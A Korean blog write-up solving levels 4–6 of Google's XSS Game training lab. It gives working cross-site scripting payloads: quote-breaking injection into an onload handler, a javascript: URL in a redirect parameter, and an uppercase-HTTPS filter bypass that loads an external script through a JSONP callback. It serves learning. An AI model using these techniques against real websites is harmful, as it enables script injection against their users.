<Level 4>

사용자가 제공한 데이터의 모든 bit는 정확하게 escape 되어야 한다 그것이 나타나게 될 페이지의 context에 맞게? 흠 무슨 소린지 잘 모르겠지만 일단 해보자.

타이머를 만들어주나보다. 눌러보자.


3초가 지나니 타이머가 시간이 다 됐다고 알려준다!
저기에 어떻게 입력을 해야할 것 같은데,, 코드를 좀 보자.

21번째 줄의 onload 부분에서 startTimer를 호출하고 우리가 입력한 timer 값을 받아서 사용하고 있다.

해당 값은 index.html를 보면 get으로 받아오는 것을 확인할 수 있다.
따라서 우리는 저 onload 부분을 잘 이용해야 한다.
만약 입력에 그냥 <img src=x onerror=alert(1)>를 입력하면 어떻게 될까?

url의 timer에는 다음과 같이 반영된다. 따라서 코드를 보고 parsing 하는 부분을 제대로 이해해야 할 것 같다.
이 문제 역시 이전 문제와 같이 img src를 전체 입력해줄 필요는 없다. timer 부분에 어떻게 입력되는지만 잘 파악하여 넣어주면 된다.
onload부분을 보면 startTimer(’{{ timer }}’);로 되어 있다. 그리고 뒤에서 />로 닫고 있으니, 뒷부분 바로 전에 alert(’1’);이 나오도록 해야한다. 그런데 alert(1);의 뒤 세 문자인 ‘);은 startTimer에서 알아서 제공해준다! 따라서 우리 입력의 끝부분은 alert(’1 이면 된다. 그렇다면 앞부분은 어떻게 해야할까? (’로 시작되므로 적당한 시간 ?을 넣고, ‘)로 따옴표와 괄호 닫고 ;을 추가해주면 된다. 그러면 타이머가 실행되고 alert까지 바로 실행된다!
따라서 payload는 1’);alert(’1 이 된다!

이렇게 보냈는데 계속 times up만 나오고 alert는 실행이 안되었다.. 그래서 hint를 보았더니,

HTML-decode에 대해 모르고 있었다.
;부터 받지 못하고 있었기에 ;를 인코딩하여 %3B로 보내주었다.( 1’)%3Balert(’1 )
그런데 또 안되었다! ㅠㅠ 그래서 그냥 alert말고 onerror=alert(’1로 바꿔서 보내줘보았다.

문제 해결~
결국 <img src=”/static/loading.gif” onload=”startTimer(‘1’);onerror=alert(‘1’);” />로 되어서 alert가 수행된 것이다!
<Level 5>

DOM에 새로운 것을 inject 하지 않고도 공격할 수 있다? 제목이 breaking protocol인 것으로 보아 프로토콜과 관련해서 뭔가를 하는 것 같기도 하고,, 일단 보자.

첫 페이지이다.

Sign up을 누르니 이메일을 입력하라고 한다.

이메일을 입력하니 위의 화면이 나오다가 다시 처음 화면으로 돌아간다.
도통 뭔지 모르겠다,, 코드를 보자.

signup을 보라는 힌트의 도움으로 봤는데 11번째 줄에 이상한 말이 적혀있다.
<!– We’re ignoring the email, but the poor user will never know! -→ email 입력하는 건 뻥카인 거 같다 ^^;; 마지막 힌트에서 어떠한 페이지를 줬다.
The ‘javascript’ resource identifier scheme

하이퍼링크에서 저렇게 ‘javascript:함수’로 보내면 함수를 실행해준다고 한다! 그렇다면 우리가 이용할 수 있는 취약한 부분은 어디일까? 위에 캡쳐해놓았는데, 바로 next 부분이다.
근데 next에 입력을 받지는 않는 거 같은데 어떻게 전달해야할까?

아까 이메일을 입력하고 나면 나오던 페이지였다. 해당 페이지를 보면, next가 window.location으로 보내지는 것을 확인할 수 있다.

signup 페이지로 넘어갔을 때 next에 전달되는 값이다. confirm으로 되어있음을 확인할 수 있다.
저 부분에 javascript:alert(1)을 입력하면 위의 글에서 말한 것처럼 next를 눌렀을 때 alert 함수를 실행하게 될 것이다!

url 부분에 입력해 주었다. 그리고 next를 누르면..

문제 해결~~
<Level 6>
드디어 마지막 문제,, 힘내자!

복잡한 웹 응용 프로그램은 때때로 URL 매개 변수의 값이나 location.hash의 일부를 기반으로 자바스크립트 라이브러리를 동적으로 로드하는 기능을 가지고 있다고 한다.
스크립트나 잠재적으로 위험한 데이터를 로드할 때 사용자 입력이 URL에 영향을 미치도록 허용하면 심각한 취약성이 발생하는 경우가 많다고 한다.
alert를 실행하는 외부 파일을 앱이 찾도록 해보자.

일단 화면이다. gadget을 로드할 수 없다고 한다!
코드를 보자.
<!doctype html>
<html>
<head>
<!-- Internal game scripts/styles, mostly boring stuff -->
<script src="/static/game-frame.js"></script>
<link rel="stylesheet" href="/static/game-frame-styles.css" />
<script>
function setInnerText(element, value) {
if (element.innerText) {
element.innerText = value;
} else {
element.textContent = value;
}
}
function includeGadget(url) {
var scriptEl = document.createElement('script');
// This will totally prevent us from loading evil URLs!
if (url.match(/^https?:\\/\\//)) {
setInnerText(document.getElementById("log"),
"Sorry, cannot load a URL containing \\"http\\".");
return;
}
// Load this awesome gadget
scriptEl.src = url;
// Show log messages
scriptEl.onload = function() {
setInnerText(document.getElementById("log"),
"Loaded gadget from " + url);
}
scriptEl.onerror = function() {
setInnerText(document.getElementById("log"),
"Couldn't load gadget from " + url);
}
document.head.appendChild(scriptEl);
}
// Take the value after # and use it as the gadget filename.
function getGadgetName() {
return window.location.hash.substr(1) || "/static/gadget.js";
}
includeGadget(getGadgetName());
// Extra code so that we can communicate with the parent page
window.addEventListener("message", function(event){
if (event.source == parent) {
includeGadget(getGadgetName());
}
}, false);
</script>
</head>
<body id="level6">
<img src="/static/logos/level6.png">
<img id="cube" src="/static/level6_cube.png">
<div id="log">Loading gadget...</div>
</body>
</html>
음.. 코드만 봐서는 모르겠어서 힌트를 좀 참고했다.
1. See how the value of the location fragment (after #
) influences the URL of the loaded script.
getGadgetName을 보자. window.location.hash.substr(1)를 이용해서 받아오고 있다. 이것은 현재 URL의 해시값을 가져오는 것으로, 문자열의 첫번째 문자를 제외하고 받아오고 있다.
after #라고 힌트에서 알려준 것으로 보아, #을 제외한 해시값을 받아오는 것 같다. 그리고 이것을 gadget의 filename으로 이용한다고 한다.
2. Is the security check on the gadget URL really foolproof?
includeGadget 함수 부분을 보면, 주석으로 된 한 문장이 있다.
// This will totally prevent us from loading evil URLs!
악의적인 url로부터 완벽하게 막고있다고 한다. 그런데 정말 믿을 수 있냐고 힌트에서 다시 물어보는 것은, 문제가 있으니까 그러는 것이 아닐까..? 일단 의심한 채로 넘어가 보자.
3. Sometimes when I’m frustrated, I feel like screaming…
솔직히 이건 잘 모르겠다. 소리 지르는 게 뭐 어쩌라고,,
4. If you can’t easily host your own evil JS file, see if google.com/jsapi?callback=foo will help you here.
저 사이트에 가봐야겠다.

억 이게 다 뭐람. 글이 정말 많다,, 그래도 이걸 어떻게 활용할 지 잘 생각해보자.

우리에겐 chatgpt가 있지 않은가? ㅎㅎ 라이브러리를 동적으로 로드할 수 있다고 한다. 위의 긴 글 역시 foo함수를 callback으로 호출한 것이다.
그렇다면 혹시 저 callback= 뒤에 alert을 넣는다면? alert 함수를 실행시켜 주지 않을까?


URL을 찾을 수 없다고 한다. 그도 그럴 것이, https://www. 이 붙은 채로 자동으로 검색되므로, 위의 저부분만 넣으면 url을 찾을 수 없다.


또 찾을 수 없다고 한다… 그러나 이전 문제를 잘 생각해보면 이 부분은 해결할 수 있었다.
항상 url이 https://xss-game.appspot.com/level?/frame 으로 시작했음을 잊지 말아야 한다. 따라서 이것을 앞에 붙여주고, 뒤에 붙인 url역시 검사를 해야 한다.
내가 입력한 url이 getGadgetName의 인자로 들어가서 “Load Gadget From” 부분에서 내 url을 불러내는 것을 확인할 수 있다. 근데 여기서 문제는, https로 시작하는 url을 무시하는 것이다!
하지만 괜찮다. 힌트 2번의 진가가 바로 여기서 발휘된다. https를 막음으로써 악의적은 공격은 다 막았다고 생각했지만, 사실 HTTPS를 막지 않았다! 따라서 https 대신 HTTPS를 입력하면 우리가 원하는 대로 url을 전송할 수 있다.
그리고 getGadgetName에서 맨 앞의 #을 제외하고 가져온다고 했으니, #HTTPS로 시작하도록 하면 된다.
결국 payload는 다음과 같다.
https://xss-game.appspot.com/level6/frame#HTTPS://www.gstatic.com/charts/loader.js?callback=alert


깔끔하게 해결!
